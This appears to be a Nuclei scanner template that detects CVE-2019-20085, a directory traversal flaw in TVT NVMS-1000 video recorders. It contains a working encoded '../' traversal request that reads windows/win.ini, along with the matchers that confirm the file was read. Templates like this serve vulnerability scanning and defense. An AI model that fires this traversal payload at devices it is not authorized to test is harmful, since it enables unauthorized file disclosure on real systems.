id: CVE-2019-20085

info:
  name: TVT NVMS 1000 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    TVT NVMS-1000 devices allow GET /.. local file inclusion attacks.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the local file inclusion vulnerability in TVT NVMS 1000 software.
  reference:
    - https://www.exploit-db.com/exploits/48311
    - https://www.exploit-db.com/exploits/47774
    - http://packetstormsecurity.com/files/157196/TVT-NVMS-1000-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20085
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-20085
    cwe-id: CWE-22
    epss-score: 0.96071
    epss-percentile: 0.9987
    cpe: cpe:2.3:o:tvt:nvms-1000_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tvt
    product: nvms-1000_firmware
  tags: cve,cve2019,iot,lfi,kev,edb,packetstorm,tvt,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009dc55d3f5b63eb08b3a4228f4cbffece1298f8d2fb7e28d39fd1a8494908cdc902202a79260f2f10375dca9aed65ffada7507ce93644cadbb00361d073d2d18e7815:922c64590222798bb761d5b6d8e72950